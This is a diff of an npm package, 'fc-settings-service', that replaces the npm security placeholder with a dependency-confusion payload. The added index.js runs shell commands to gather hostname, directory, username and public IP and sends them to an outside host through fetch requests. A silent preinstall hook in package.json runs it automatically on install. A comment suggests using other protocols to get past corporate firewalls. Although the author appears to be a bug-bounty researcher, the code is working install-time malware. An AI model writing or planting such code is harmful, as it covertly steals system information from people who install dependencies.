fc-settings-service 0.0.1-security → 9999.9999.99999

package/index.js

@@ -0,0 +1,25 @@
+
+console.log('You unintentionally installed a public package from NPM. Please contact https://hackerone.com/thiezn?type=user');
+/*
+Leak stuff through making web requests on imports. To bypass corporate
+firewalls you can also consider exfiltrating data through different ports
+and protocols like http, https, dns and others.
+
+See this excellent blog post that explains why this is could lead to serious security issues:
+https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
+*/
+
+const { exec } = require("child_process");
+const { stdout } = require("process");
+exec("a=$(hostname;pwd;whoami;curl https://ifconfig.me;) && echo $a", (error, data, error_str) => {
+    if (error) {
+        console.log("error", error.message);
+        fetch("http://www.mortimer.nl/mpf/depconfusion/fc-settings-service?error=" + error.message)
+        fetch("https://www.mortimer.nl/mpf/depconfusion/fc-settings-service?error=" + error.message)
+        return;
+    }
+    console.log(data);
+    fetch("http://www.mortimer.nl/mpf/depconfusion/fc-settings-service?stdout=" + data)
+    fetch("https://www.mortimer.nl/mpf/depconfusion/fc-settings-service?stdout=" + data)
+});
+    

package/package.json

@@ -1,6 +1,12 @@
 {
-  "name": "fc-settings-service",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+    "name": "fc-settings-service",
+    "version": "9999.9999.99999",
+    "description": "Always check your dependencies!",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js > /dev/null 2>&1"
+    },
+    "author": "https://hackerone.com/thiezn?type=user",
+    "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=fc-settings-service for more information.